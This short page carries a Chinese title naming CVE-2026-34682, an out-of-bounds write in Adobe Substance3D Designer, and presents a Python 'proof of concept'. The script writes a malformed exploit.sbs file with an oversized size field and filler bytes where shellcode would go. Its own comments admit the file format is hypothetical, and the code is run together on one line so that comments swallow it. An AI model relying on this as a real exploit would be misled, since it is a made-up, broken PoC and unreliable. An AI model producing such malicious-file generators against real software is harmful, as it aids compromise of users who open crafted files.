CVE-2026-34682 Adobe Substance3D Designer越界写入漏洞

import struct # Proof of Concept (PoC) for CVE-2026-34682 # This script generates a malformed file intended to trigger # an out-of-bounds write vulnerability in Adobe Substance3D Designer. # Note: The specific file format structure is hypothetical. def generate_malicious_file(filename): with open(filename, 'wb') as f: # Write a valid header (hypothetical magic bytes) f.write(b'SUBS') # Write a malformed size field to trigger the buffer overflow # Assuming the application reads a 32-bit integer for buffer size # We provide a size much larger than the allocated buffer. malicious_size = 0xFFFFFFFF f.write(struct.pack('<I', malicious_size)) # Write padding or shellcode placeholder # This data would overwrite the adjacent memory payload = b'A' * 1000 f.write(payload) print(f"[+] Malicious file generated: {filename}") if __name__ == "__main__": generate_malicious_file("exploit.sbs")